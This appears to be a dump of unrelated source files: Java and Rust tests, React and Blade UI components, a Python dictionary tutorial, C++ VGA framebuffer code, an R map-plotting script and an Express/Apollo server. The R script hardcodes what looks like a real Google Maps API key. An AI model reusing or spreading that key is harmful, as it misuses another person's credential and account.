package com.gomo.app.quest.unit.usecase; import static org.mockito.Mockito.*; import java.util.List; import java.util.UUID; import org.jetbrains.annotations.NotNull; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.MockedStatic; import org.mockito.junit.jupiter.MockitoExtension; import com.gomo.app.common.domain.service.OrderChanger; import com.gomo.app.quest.application.OrderUpdateRepeatQuestUseCase; import com.gomo.app.quest.common.fixture.RepeatQuestFixture; import com.gomo.app.quest.domain.model.QuestType; import com.gomo.app.quest.domain.model.RepeatQuest; import com.gomo.app.quest.domain.repository.RepeatQuestRepository; import com.gomo.app.quest.presentation.request.OrderUpdateRepeatQuestRequest; @DisplayName("[Application unit]: 반복 퀘스트 정렬 순서 변경 테스트") @ExtendWith(MockitoExtension.class) public class OrderUpdateRepeatQuestUseCaseTest { @InjectMocks private OrderUpdateRepeatQuestUseCase sut; @Mock private RepeatQuestRepository repeatQuestRepository; @DisplayName("반복 퀘스트의 정렬 순서를 변경한다.") @Test void update_repeat_quest_display_order() { OrderUpdateRepeatQuestRequest request = OrderUpdateRepeatQuestRequest.of(QuestType.DAILY, List.of(3, 2, 1)); doReturn(getRepeatQuests()).when(repeatQuestRepository).findRepeatQuestsByQuestType(any(), any()); try (MockedStatic<OrderChanger> mockedOrderChanger = mockStatic(OrderChanger.class)) { sut.update(UUID.randomUUID(), request); verify(repeatQuestRepository, times(1)).findRepeatQuestsByQuestType(any(), any()); mockedOrderChanger.verify(() -> OrderChanger.change(any(), any()), times(1)); } } private static @NotNull List<RepeatQuest> getRepeatQuests() { return List.of( RepeatQuestFixture.repeatQuest(1), RepeatQuestFixture.repeatQuest(2), RepeatQuestFixture.repeatQuest(3) ); } }
import { useState } from "react" import Popup from "reactjs-popup" import { useAppDispatch, useAppSelector } from "../../../hooks" import { addUser, changeTitle, removeGroup, removeUser, } from "../../../redux/slices/groups" import { IGroup, IUser } from "../../../types" import styles from "../Group.module.css" import { AiOutlineClose } from "react-icons/ai" import { MdModeEditOutline } from "react-icons/md" import { FiTrash } from "react-icons/fi" import cn from "classnames" export const GroupItem = ({ id, title, users }: IGroup): React.JSX.Element => { const dispatch = useAppDispatch() const all = useAppSelector((state) => state.cards.data) const [inputValue, setInputValue] = useState<string>(title || "") const [usersData, setUsersData] = useState<Array<IUser>>( users as Array<IUser> ) const [allUsers, setAllUsers] = useState<Array<IUser>>(all as Array<IUser>) const handleAddUser = (user: IUser) => { const userD = allUsers.filter((u) => u.id === user.id) setUsersData([...usersData, ...userD]) dispatch(addUser({ id, user })) setAllUsers(allUsers.filter((u) => u.id !== user.id)) } return ( <div className={styles.groupItem}> <div className={styles.title}> {title !== inputValue ? ( <button title="Изменить название группы" className={styles.editButton} onClick={() => dispatch(changeTitle({ id, title: inputValue }))} > <MdModeEditOutline size={24} /> </button> ) : null} <input placeholder="Ведите название" onChange={(e) => setInputValue(e.target.value)} value={inputValue} className={cn(styles.input, styles.title)} onSubmit={() => dispatch(changeTitle({ id, title: inputValue }))} ></input> <button title="Удалить группу" className={styles.closeButton} onClick={() => dispatch(removeGroup(id))} > <AiOutlineClose size={24} /> </button> </div> <div className={styles.usersWrapper}> {users?.map((user) => ( <div key={user.id} className={styles.userItem}> <div>{user.first_name}</div> <button onClick={() => dispatch(removeUser({ id, userID: user.id }))} className={styles.removeUser} > <FiTrash color="red" size={20} /> </button> <div className={styles.userGroup}>{user.group}</div> </div> ))} </div> <Popup trigger={ <button className={styles.addUserBtn}>Добавить пользователя</button> } position="top center" nested > <div className={styles.addUserPopupWrapper}> {allUsers.map((user) => ( <button onClick={() => handleAddUser(user)} className={styles.add} style={{ cursor: "pointer" }} key={user.id} > {user.first_name} {user.last_name} </button> ))} </div> </Popup> </div> ) }
<div class="modal fade" id="tambah-produk" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="staticBackdropLabel" aria-hidden="true"> @if ($errors->any()) <div class="container alert alert-danger"> <ul class="list-unstyled"> @foreach ($errors->all() as $error) <li>{{ $error }}</li> @endforeach </ul> </div> @endif <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h1 class="modal-title fs-5" id="staticBackdropLabel">Tambah Produk</h1> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form method="POST" action="{{ route('create-stock') }}" style="font-size: 12px" enctype="multipart/form-data"> @csrf <div> <label for="product_image" class="form-label">Gambar</label> <input class="form-control form-control-sm input-blue @error('product_image') is-invalid @enderror" id="product_image" type="file" name="product_image" style="font-size: 12px" required onchange="previewImage()"> <img class="mt-2 img-preview img-fluid col-sm-3"> @error('product_image') <div class="invalid-feedback"> {{ $message }} </div> @enderror </div> <div class="mb-3"> <label for="product_name" class="form-label">Nama Produk</label> <input type="text" name="product_name" class="form-control input-blue form-control-sm" value="{{ old('product_name') }}"> @error('product_name') <span class="text-danger" style="font-size: 10px">{{ $message }}</span> @enderror </div> <div class="row"> <div class="mb-3 col"> <label for="first_price" class="form-label">Harga Awal</label> <input type="number" name="first_price" value="{{ old('first_price') }}" class="form-control input-blue form-control-sm"> </div> <div class="mb-3 col"> <label for="price_sell" class="form-label">Harga Jual</label> <input type="number" name="price_sell" value="{{ old('price_sell') }}" class="form-control input-blue form-control-sm"> </div> </div> <div class="row"> <div class="mb-3 col"> <label for="quantity" class="form-label">Jumlah</label> <input type="number" name="quantity" value="{{ old('quantity') }}" class="form-control input-blue form-control-sm"> </div> <div class="col"> <label for="status" class="mb-2">Status Produk</label> <select name="status" id="status" class="form-select form-select-sm input-blue" style="font-size: 12px"> <option value="">Status</option> <option value=1>Tersedia</option> <option value=0>Habis</option> </select> </div> </div> <div class="mb-3"> <label for="description" class="form-label">Detail</label> <textarea name="description" placeholder="Write some description here..." class="form-control input-blue form-control-sm" id="exampleFormControlTextarea1" rows="3"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-primary btn-sm">Submit</button> </div> </form> </div> {{-- <button type="button" class="btn btn-secondary btn-sm" data-bs-dismiss="modal">Close</button> <button type="button" class="btn btn-primary btn-sm">Save</button> --}} </div> </div> </div> <script> function previewImage() { const image = document.querySelector('#product_image'); // const old_img = document.querySelector('#old_image'); const imgPreview = document.querySelector('.img-preview'); // old_img.style.display = 'none'; imgPreview.style.display = 'block'; const oFReader = new FileReader(); oFReader.readAsDataURL(image.files[0]); oFReader.onload = function(oFREvent) { imgPreview.src = oFREvent.target.result; } } </script>
Dictionaries And Identity Operators Dictionaries A dictionary is a mutable data type that stores mappings of unique keys to values. Here's a dictionary that stores elements and their atomic numbers. elements = {"hydrogen": 1, "helium": 2, "carbon": 6} In general, dictionaries look like key-value pairs, separated by commas: {key1:value1, key2:value2, key3:value3, key4:value4, ...} Dictionaries are mutable, but their keys need to be any immutable type, like strings, integers, or tuples. It's not even necessary for every key in a dictionary to have the same type! For example, the following dictionary is perfectly valid: random_dict = {"abc": 1, 5: "hello"} This dictionary has two keys: "abc" and 5. The first key has a string type, and the second key has an integer type. And the dictionary has two values: 1 and "hello". We can look up values in the dictionary using square brackets "[]" around the key, like : dict_name[key]. For example, in our random dictionary above, the value for random_dict["abc"] is 1, and the value for random_dict[5] is "hello". In our elements dictionary above, we could print out the atomic number mapped to helium like this: print(elements["helium"]) This would print out 2. We can also insert a new element into a dictionary as in this example: elements["lithium"] = 3 If we then executed print(elements), the output would be: {'hydrogen': 1, 'carbon': 6, 'helium': 2, 'lithium': 3} This illustrates how dictionaries are mutable. What if we try to look up a key that is not in our dictionary, using the square brackets, like elements['dilithium']? This will give you a "KeyError". We can check whether a key is in a dictionary the same way we check whether an element is in a list or set, using the in keyword. Dictionaries have a related method that's also useful, get. get looks up values in a dictionary, but unlike square brackets, get returns None (or a default value of your choice) if the key isn't found. print("carbon" in elements) print(elements.get("dilithium")) This would output: True None "carbon" is in the dictionary, so True is printed. "dilithium" isn’t in our dictionary so None is returned by get and then printed. So if you expect lookups to sometimes fail, get might be a better tool than normal square bracket lookups, because errors can crash your program. Identity Operators Keyword Operator is evaluates if both sides have the same identity is not evaluates if both sides have different identities You can check if a key returned None with the is operator. You can check for the opposite using is not. n = elements.get("dilithium") print(n is None) print(n is not None) This would output: True False note about sets: Great job, you understand the properties of a set! A set is a mutable data structure - you can modify the elements in a set with methods like add and pop. A set is an unordered data structure, so you can't index and slice elements like a list; there is no sequence of positions to index with! One of the key properties of a set is that it only contains unique elements. So even if you create a new set with a list of elements that contains duplicates, Python will remove the duplicates when creating the set automatically. Data Structure Ordered Mutable Constructor Example List Yes Yes [ ] or list() [5.7, 4, 'yes', 5.7] Tuple Yes No ( ) or tuple() (5.7, 4, 'yes', 5.7) Set No Yes {}* or set() {5.7, 4, 'yes'} Dictionary No No** { } or dict() {'Jun': 75, 'Jul': 89}
import { useState } from 'react'; import { X } from 'lucide-react'; interface Props { isOpen: boolean; onClose: () => void; onSubmit: (data: { name: string; type: 'text' | 'voice' }) => void; } export default function CreateChannelModal({ isOpen, onClose, onSubmit }: Props) { const [name, setName] = useState(''); const [type, setType] = useState<'text' | 'voice'>('text'); const handleSubmit = (e: React.FormEvent) => { e.preventDefault(); onSubmit({ name, type }); setName(''); setType('text'); onClose(); }; if (!isOpen) return null; return ( <div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50"> <div className="bg-gray-800 rounded-lg p-6 w-96 max-w-full mx-4"> <div className="flex justify-between items-center mb-6"> <h2 className="text-2xl font-bold text-white">Create Channel</h2> <button onClick={onClose} className="text-gray-400 hover:text-white transition-colors" > <X className="w-6 h-6" /> </button> </div> <form onSubmit={handleSubmit} className="space-y-6"> <div> <label className="block text-sm font-medium text-gray-300 mb-2"> Channel Name </label> <input type="text" value={name} onChange={(e) => setName(e.target.value)} className="w-full px-3 py-2 bg-gray-700 text-white rounded-lg focus:outline-none focus:ring-2 focus:ring-indigo-500" placeholder="Enter channel name" required /> </div> <div> <label className="block text-sm font-medium text-gray-300 mb-2"> Channel Type </label> <div className="flex space-x-4"> <label className="flex items-center space-x-2 cursor-pointer"> <input type="radio" value="text" checked={type === 'text'} onChange={(e) => setType(e.target.value as 'text' | 'voice')} className="text-indigo-500 focus:ring-indigo-500" /> <span className="text-white">Text Channel</span> </label> <label className="flex items-center space-x-2 cursor-pointer"> <input type="radio" value="voice" checked={type === 'voice'} onChange={(e) => setType(e.target.value as 'text' | 'voice')} className="text-indigo-500 focus:ring-indigo-500" /> <span className="text-white">Voice Channel</span> </label> </div> </div> <button type="submit" className="w-full bg-indigo-500 text-white py-2 px-4 rounded-lg hover:bg-indigo-600 transition-colors" > Create Channel </button> </form> </div> </div> ); }
import { BrowserRouter as Router, Routes, Route, Link} from 'react-router-dom' import Home from './pages/Home'; import CreatePost from './pages/CreatePost'; import Login from './pages/Login'; import { useState } from 'react'; import { signOut } from 'firebase/auth' import { auth } from './config/firebase'; import PostPage from './pages/PostPage'; import './index.css' const App: React.FC = () => { const [isAuth, setIsAuth] = useState(false); const userSignOut = () => { signOut(auth).then(() => { localStorage.clear() setIsAuth(false); window.location.pathname= "/home"; }) }; return ( <Router> <nav className='bg-black text-white p-4 flex justify-center items-center gap-5 text-lg font-bold'> <Link className=' transition-all duration-200 hover:text-orange-400' to='/'>Home</Link> {!isAuth ? ( <Link className=' transition-all duration-200 hover:text-orange-400' to='/login'>Login</Link> ) : ( <> <Link className='transition-all duration-200 hover:text-orange-400' to="/createpost">Create Post</Link> <button onClick={userSignOut}> Log Out</button> </> )} </nav> <Routes> <Route path="/" element={<Home isAuth={false} />} /> <Route path="/post/:id" element={<PostPage postId={""} />} /> <Route path="/" element={<Home isAuth={false} />} /> <Route path="/createpost" element={<CreatePost isAuth={isAuth} />} /> <Route path="/login" element={<Login setIsAuth={setIsAuth} />} /> </Routes> </Router> ) }; export default App
package com.example.taxiToolBackend; import com.example.taxiToolBackend.data.AdminSettings; import com.example.taxiToolBackend.repository.AdminSettings_Repository; import com.example.taxiToolBackend.tripServices.GraphHopperService; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.mockito.Mockito.when; class GraphHopperServiceTest { @Mock private AdminSettings_Repository adminSettingsRepository; @InjectMocks private GraphHopperService graphHopperService; @BeforeEach void setUp() { MockitoAnnotations.openMocks(this); } @Test void testCalculateTime() { //value in milliseconds graphHopperService.tripTime = 69 *60000; //For testing, it is easier to enter the number of minutes and multiply by 60000. // Performing the test argument= time, minute, minute String result = graphHopperService.calulateTime("12:01", "10", "20"); // Verifying the result assertEquals("13:40", result); } @Test void testCalculateTrip() { // Mocking adminSettingsRepository for findByGebiet method AdminSettings adminSettings = new AdminSettings(); adminSettings.setKilometerpreis("0.5"); adminSettings.setGrundgebuer("5.0"); adminSettings.setAnfahrt("2.0"); adminSettings.setGrossraum("3.0"); when(adminSettingsRepository.findByGebiet("testGebiet")).thenReturn(adminSettings); // Performing the test String result = graphHopperService.calculateTrip("testGebiet", "J", "J"); // Verifying the result assertEquals("10.0", result); } }
const MissingParameterError = require('../../../src/error/missingParameterError') const { nockMock, CMFuturesClient } = require('../../testUtils/testSetup') const { mockResponse } = require('../../testUtils/mockData') describe('#getPremiumIndexKlines', () => { describe('throw MissingParameterError', () => { it('missing symbol', () => { expect(() => { CMFuturesClient.getPremiumIndexKlines() }).toThrow(MissingParameterError) }) it('missing interval', () => { expect(() => { CMFuturesClient.getPremiumIndexKlines('BTCUSD_PERP') }).toThrow(MissingParameterError) }) }) it('should return premium index klines data', () => { const symbol = 'BTCUSD_PERP' const interval = '1m' nockMock(CMFuturesClient.baseURL)( `/dapi/v1/premiumIndexKlines?symbol=${symbol}&interval=${interval}` )(mockResponse) return CMFuturesClient.getPremiumIndexKlines(symbol, interval).then( (response) => { expect(response).toBeDefined() expect(response.data).toEqual(mockResponse) } ) }) })
import heapq import sys input = lambda :sys.stdin.readline().rstrip() N = int(input()) # 도시의 개수 1<= N <= 1,000 M = int(input()) # 버스의 개수 1 <= M <= 100,000 graph = [[] for _ in range(N + 1)] for _ in range(M): a, b, c = map(int, input().split()) graph[a].append((b, c)) start, end = map(int, input().split()) # 출발점, 도착점 INF = int(1e9) distance = [INF] * (N + 1) def dijkstra(start): q = [] distance[start] = 0 heapq.heappush(q, (0, start)) while q: dist, now = heapq.heappop(q) if distance[now] < dist: continue for i in graph[now]: cost = dist + i[1] if cost < distance[i[0]]: distance[i[0]] = cost heapq.heappush(q, (cost, i[0])) dijkstra(start) print(distance[end])
// ignore_for_file: public_member_api_docs, sort_constructors_first import 'dart:convert'; class VideoModel { final String? uid; final String? videoUrl; final String? videoThumbnailUrl; final String? title; final String? description; final String? category; final String? remainderDate; final String? remainderTime; final String? reminderTitle; final String? time; VideoModel({ this.uid, this.videoUrl, this.videoThumbnailUrl, this.title, this.description, this.category, this.remainderDate, this.remainderTime, this.reminderTitle, this.time, }); VideoModel copyWith({ String? uid, String? videoUrl, String? videoThumbnailUrl, String? title, String? description, String? category, String? remainderDate, String? remainderTime, String? reminderTitle, String? time, }) { return VideoModel( uid: uid ?? this.uid, videoUrl: videoUrl ?? this.videoUrl, videoThumbnailUrl: videoThumbnailUrl ?? this.videoThumbnailUrl, title: title ?? this.title, description: description ?? this.description, category: category ?? this.category, remainderDate: remainderDate ?? this.remainderDate, remainderTime: remainderTime ?? this.remainderTime, reminderTitle: reminderTitle ?? this.reminderTitle, time: time ?? this.time, ); } Map<String, dynamic> toMap() { return <String, dynamic>{ 'uid': uid, 'videoUrl': videoUrl, 'videoThumbnailUrl': videoThumbnailUrl, 'title': title, 'description': description, 'category': category, 'remainderDate': remainderDate, 'remainderTime': remainderTime, 'reminderTitle': reminderTitle, 'time': time, }; } factory VideoModel.fromMap(Map<String, dynamic> map) { return VideoModel( uid: map['uid'] != null ? map['uid'] as String : null, videoUrl: map['videoUrl'] != null ? map['videoUrl'] as String : null, videoThumbnailUrl: map['videoThumbnailUrl'] != null ? map['videoThumbnailUrl'] as String : null, title: map['title'] != null ? map['title'] as String : null, description: map['description'] != null ? map['description'] as String : null, category: map['category'] != null ? map['category'] as String : null, remainderDate: map['remainderDate'] != null ? map['remainderDate'] as String : null, remainderTime: map['remainderTime'] != null ? map['remainderTime'] as String : null, reminderTitle: map['reminderTitle'] != null ? map['reminderTitle'] as String : null, time: map['time'] != null ? map['time'] as String : null, ); } String toJson() => json.encode(toMap()); factory VideoModel.fromJson(String source) => VideoModel.fromMap(json.decode(source) as Map<String, dynamic>); @override String toString() { return 'VideoModel(uid: $uid, videoUrl: $videoUrl, videoThumbnailUrl: $videoThumbnailUrl, title: $title, description: $description, category: $category, remainderDate: $remainderDate, remainderTime: $remainderTime, reminderTitle: $reminderTitle, time: $time)'; } @override bool operator ==(covariant VideoModel other) { if (identical(this, other)) return true; return other.uid == uid && other.videoUrl == videoUrl && other.videoThumbnailUrl == videoThumbnailUrl && other.title == title && other.description == description && other.category == category && other.remainderDate == remainderDate && other.remainderTime == remainderTime && other.reminderTitle == reminderTitle && other.time == time; } @override int get hashCode { return uid.hashCode ^ videoUrl.hashCode ^ videoThumbnailUrl.hashCode ^ title.hashCode ^ description.hashCode ^ category.hashCode ^ remainderDate.hashCode ^ remainderTime.hashCode ^ reminderTitle.hashCode ^ time.hashCode; } }
import { __decorate } from "tslib"; import { Enumerable } from '@d-fischer/shared-utils'; import { DataObject, rawDataSymbol, rtfm } from '@twurple/common'; /** * An EventSub event representing a creator goal starting in a channel. */ let EventSubChannelGoalProgressEvent = class EventSubChannelGoalProgressEvent extends DataObject { /** @private */ constructor(data, client) { super(data); this._client = client; } /** * The ID of the goal. */ get id() { return this[rawDataSymbol].id; } /** * The ID of the broadcaster. */ get broadcasterId() { return this[rawDataSymbol].broadcaster_user_id; } /** * The name of the broadcaster. */ get broadcasterName() { return this[rawDataSymbol].broadcaster_user_login; } /** * The display name of the broadcaster. */ get broadcasterDisplayName() { return this[rawDataSymbol].broadcaster_user_name; } /** * Retrieves more information about the broadcaster. */ async getBroadcaster() { return (await this._client.users.getUserById(this[rawDataSymbol].broadcaster_user_id)); } /** * The type of the goal. Can be either "follower" or "subscription". */ get type() { return this[rawDataSymbol].type; } /** * The description of the goal. */ get description() { return this[rawDataSymbol].description; } /** * The current value of the goal. */ get currentAmount() { return this[rawDataSymbol].current_amount; } /** * The target value of the goal. */ get targetAmount() { return this[rawDataSymbol].target_amount; } /** * The time when the goal started. */ get startDate() { return new Date(this[rawDataSymbol].started_at); } }; __decorate([ Enumerable(false) ], EventSubChannelGoalProgressEvent.prototype, "_client", void 0); EventSubChannelGoalProgressEvent = __decorate([ rtfm('eventsub', 'EventSubChannelGoalProgressEvent', 'broadcasterId') ], EventSubChannelGoalProgressEvent); export { EventSubChannelGoalProgressEvent };
// Given a 2D grid of size m x n and an integer k. You need to shift the grid k times. // In one shift operation: // Element at grid[i][j] moves to grid[i][j + 1]. // Element at grid[i][n - 1] moves to grid[i + 1][0]. // Element at grid[m - 1][n - 1] moves to grid[0][0]. // Return the 2D grid after applying shift operation k times. struct Solution {} impl Solution { pub fn shift_grid(grid: Vec<Vec<i32>>, k: i32) -> Vec<Vec<i32>> { // Get dimentions let row_size = grid.len(); let col_size = grid[0].len(); let items = col_size * row_size; // Calculate wrap offset return if none let k = (k as usize) % items; if k == 0 { return grid; } // Flatten the grid let mut v = grid.concat(); // Perform in-place shifting v.rotate_right(k); // Reconstruct the grid v.chunks(col_size).map(|ch| ch.to_vec()).collect() } } #[cfg(test)] mod tests { use super::*; #[test] fn test_shift_grid() { assert_eq!( Solution::shift_grid(vec![vec![1, 2, 3], vec![4, 5, 6], vec![7, 8, 9]], 1), vec![vec![9, 1, 2], vec![3, 4, 5], vec![6, 7, 8]] ); } #[test] fn test_shift_grid_2() { assert_eq!( Solution::shift_grid(vec![vec![3,8,1,9], vec![19,7,2,5], vec![4,6,11,10], vec![12,0,21,13]], 4), vec![vec![12,0,21,13],vec![3,8,1,9],vec![19,7,2,5],vec![4,6,11,10]] ); } #[test] fn test_shift_grid_3() { assert_eq!( Solution::shift_grid(vec![vec![1,2,3],vec![4,5,6],vec![7,8,9]], 9), vec![vec![1,2,3],vec![4,5,6],vec![7,8,9]] ); } }
// This file is part of msgpu project. // Copyright (C) 2021 Mateusz Stadnik // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. #pragma once #include <cstdio> #include <span> #include <msgui/Position.hpp> #include "generator/vga.hpp" #include "modes/buffer.hpp" #include "modes.hpp" #include "board.hpp" #include "sync.hpp" namespace vga::modes { template <typename Configuration, bool uses_color_palette> struct BufferTypeGeneratorImpl; template <typename Configuration> struct BufferTypeGenerator { using type = typename BufferTypeGeneratorImpl<Configuration, Configuration::uses_color_palette>::type; }; template <typename Configuration> struct BufferTypeGeneratorImpl<Configuration, true> { using type = modes::Buffer<Configuration::resolution_width, Configuration::resolution_height, Configuration::bits_per_pixel>; }; template <typename Configuration> struct BufferTypeGeneratorImpl<Configuration, false> { using type = std::array<std::array<typename Configuration::ColorType, Configuration::resolution_width>, Configuration::resolution_width>; }; template <typename Configuration> class ModeBase { public: ModeBase() { mutex_init(&mutex_); get_vga().change_mode(Configuration::mode); } void clear() { mutex_enter_blocking(&mutex_); for (auto& line : get_writable_frame()) { line.fill(0); } mutex_exit(&mutex_); } void base_render() { } void __time_critical_func(set_pixel)(const msgui::Position position, const typename Configuration::Color color) { if (position.x < 0 || position.x >= Configuration::resolution_width) { return; } if (position.y < 0 || position.y >= Configuration::resolution_height) { return; } this->framebuffer_[position.y][position.x] = color; } using BufferType = typename BufferTypeGenerator<Configuration>::type; BufferType& get_writable_frame() { return framebuffer_; } const BufferType& get_readable_frame() const { return framebuffer_; } protected: mutex_t mutex_; BufferType framebuffer_; }; template <typename Configuration, template <typename> typename Base> class RawModeBase : public Base<Configuration> { public: std::size_t __time_critical_func(fill_scanline)(std::span<uint32_t> line, std::size_t line_number) { if (line_number >= Configuration::resolution_height) { return 0; } mutex_enter_blocking(&this->mutex_); const uint16_t* current_line = this->get_readable_frame()[line_number].data(); mutex_exit(&this->mutex_); return vga::Vga::fill_scanline_buffer(line, std::span<const uint16_t>(current_line, Configuration::resolution_width)); } void __time_critical_func(base_render)() { Base<Configuration>::base_render(); } void __time_critical_func(clear)() { Base<Configuration>::clear(); } void __time_critical_func(set_pixel)(const msgui::Position position, const typename Configuration::Color color) { if (position.x < 0 || position.x >= Configuration::resolution_width) { return; } if (position.y < 0 || position.y >= Configuration::resolution_height) { return; } mutex_enter_blocking(&this->mutex_); this->get_writable_frame()[position.y][position.x] = 0xfff;//color; mutex_exit(&this->mutex_); } }; template <typename Configuration> using SingleBufferedPaletteBase = PaletteModeBase<Configuration, ModeBase>; template <typename Configuration> using SingleBufferedRawBase = RawModeBase<Configuration, ModeBase>; } // namespace vga::modes
# Load necessary libraries again after reinstallation library(readxl) library(dplyr) library(ggplot2) library(sf) library(ggmap) # Read the data from the Excel file ant_data <- ant_univariate_data # Calculate the mean longitude and latitude for each site site_means <- ant_data %>% group_by(Sites) %>% summarise(mean_long = mean(long, na.rm = TRUE), mean_lat = mean(lat, na.rm = TRUE)) # Convert to spatial data frame site_means_sf <- st_as_sf(site_means, coords = c('mean_long', 'mean_lat'), crs = 4326) # Plot the map plot <- ggplot() + geom_sf(data = site_means_sf, aes(geometry = geometry), color = 'blue', size = 3) + theme_minimal() + labs(title = 'Map of Sites with Mean Positions', x = 'Longitude', y = 'Latitude') print(plot) ant_data$long <- as.numeric(ant_data$long) ant_data$lat <- as.numeric(ant_data$lat) # Register your API key with ggmap register_google(key = "AIzaSyByNjYBDqB9A8UmFnBJ-37Cj1LqFvV33jU") # Define location and zoom level location <- c(lon = c(mean_long = mean(ant_data$long, na.rm = TRUE)), lat = c(mean_lat = mean(ant_data$lat, na.rm = TRUE))) # Create the map using ggmap with Google as the source Lajuma <- get_googlemap(center = location, zoom = 10, maptype = "roadmap") # Plot the map ggmap(Lajuma) # Sample data frame with lat/lon data locations <- data.frame(ant_data, lon = c(mean_long = mean(ant_data$long, na.rm = TRUE)), lat = c(mean_lat = mean(ant_data$lat, na.rm = TRUE))) # Get the map base_map <- get_googlemap(center = locations, zoom = 10, maptype = "roadmap") # Plot the map with points ggmap(base_map) + geom_point(data = sites, aes(x = long, y = lat), color = "red", size = 0.7)+ geom_text(data = sites, aes(x = long, y = lat, label = Sites), vjust = 0, hjust = 1.2, size = 3, color = "white") #You can adjust parameters in get_googlemap() to customize your map further: zoom: Zoom level (from 3 to 21) maptype: Type of map (e.g., "roadmap", "satellite", "hybrid", "terrain") color: Color scheme ("color" or "bw" for black and white) # Calculate mean longitude and latitude mean_long <- mean(ant_univariate_data$long, na.rm = TRUE) mean_lat <- mean(ant_univariate_data$lat, na.rm = TRUE) # Create a data frame for locations location <- data.frame(lon = mean_long, lat = mean_lat) sites<-data.frame(ant_univariate_data) # Get the Google Map using the center as a numeric vector base_map <- get_googlemap(center = c(lon = location$lon, lat = location$lat), zoom = 11, maptype = "hybrid",scale = 4) # Plot the map ggmap(base_map)
import {create} from "zustand"; import type {provider as Provider} from "web3-core"; import {Web3Connection} from "@taikai/dappkit"; type UseDappkit = { setProvider(p: Provider): Promise<void>, disconnect(): void, provider: Provider|null, connection: Web3Connection|null, chainId?: number, address?: string } export const useDappkit = create<UseDappkit>()((set, get) => ({ setProvider: async (provider: Provider) => { if (!provider) { set(() => ({connection: null, provider: null})); return; } const connection = new Web3Connection({web3CustomProvider: provider, autoStart: false}); connection.start(); await connection.connect(); const address = await connection.getAddress(); const chainId = await connection.getETHNetworkId(); if ((provider as any).on) { (provider as any).on("chainChanged", (_chain: number) => { set(() => ({chainId: _chain})) }); (provider as any).on("accountsChanged", (_address: string) => { set(() => ({address: _address[0]})) }); } set(() => ({provider, connection, address, chainId, hooks: null})); }, disconnect: () => { if (!get().provider) return; if (get().provider?.hasOwnProperty("disconnect")) (get().provider as any)?.disconnect(); set(() => ({connection: null, provider: null})) }, provider: null, connection: null, }));
import { Component } from './component.ts'; import { Route } from './route.ts'; export class Router { private _currentRoute: Route | null | undefined = null; private _rootQuery: string | null = null; static __instance: Router; public routes: Route[] = []; public history: History | null = null; public constructor(rootQuery: string) { if (Router.__instance) { throw new Error('Router already exists, use static getInstance method!'); } this._currentRoute = null; this._rootQuery = rootQuery; this.routes = []; this.history = window.history; Router.__instance = this; } private _onRoute(pathname: string) { let route = this.getRoute(pathname); if (!route) { route = this.getRoute('/404'); } if (this._currentRoute) { this._currentRoute.leave(); } this._currentRoute = route; route?.render(); } public static getInstance() { if (Router.__instance) { return Router.__instance; } return new Router(''); } public use(pathname: string, block: Component) { if (this._rootQuery) { const route = new Route(pathname, block, { rootQuery: this._rootQuery }); this.routes.push(route); } return this; } public start() { window.onpopstate = (event: PopStateEvent) => { this._onRoute((event.currentTarget as Window).location.pathname); }; this._onRoute(window.location.pathname); } public go(pathname: string) { this.history?.pushState({}, '', pathname); this._onRoute(pathname); } public back() { this.history?.back(); } public forward() { this.history?.forward(); } public getRoute(pathname: string) { return this.routes.find((route) => route.match(pathname)); } }
import 'reflect-metadata'; import 'dotenv/config'; import { createConnection } from 'typeorm'; import express from 'express'; import { ApolloServer } from 'apollo-server-express'; import { buildSchema } from 'type-graphql'; import TransactionResolver from './resolvers/Transaction'; import UserResolver from './resolvers/User'; import connection from './utilities/connection'; import session from 'express-session'; import connectRedis from 'connect-redis'; import { createClient } from 'redis'; import { COOKIE_NAME } from './utilities/constants'; import { __PROD__ } from '../../frontend/src/shared/constants'; import { Context } from './types/Context'; const IS_APOLLO_STUDIO = false; const main = async () => { // create connection to typeorm await createConnection(connection); // create express server const app = express(); if (IS_APOLLO_STUDIO) app.set('trust proxy', 1); // create redis client const RedisStore = connectRedis(session); const redisClient = createClient({ legacyMode: true }); redisClient.connect().catch(console.error); // Create session middleware with redis app.use( session({ name: COOKIE_NAME, store: new RedisStore({ client: redisClient, disableTouch: true, }), cookie: { maxAge: 1000 * 60 * 60 * 24 * 7, // 1 week httpOnly: true, sameSite: 'none', // csrf secure: IS_APOLLO_STUDIO || __PROD__, // cookie only works in https }, saveUninitialized: false, secret: process.env.SESSION_SECRET!, resave: false, }), ); // graphql schema with apollo-server const apolloserver = new ApolloServer({ schema: await buildSchema({ resolvers: [TransactionResolver, UserResolver], }), context: ({ req, res }): Context => ({ req, res }), }); const cors = IS_APOLLO_STUDIO ? { "credentials": true, "origin": "https://studio.apollographql.com" } : {}; // apply middleware and start server await apolloserver.start(); apolloserver.applyMiddleware({ app, cors: cors }); app.listen(4000, () => { console.log('Listening on port 4000'); }); }; main();
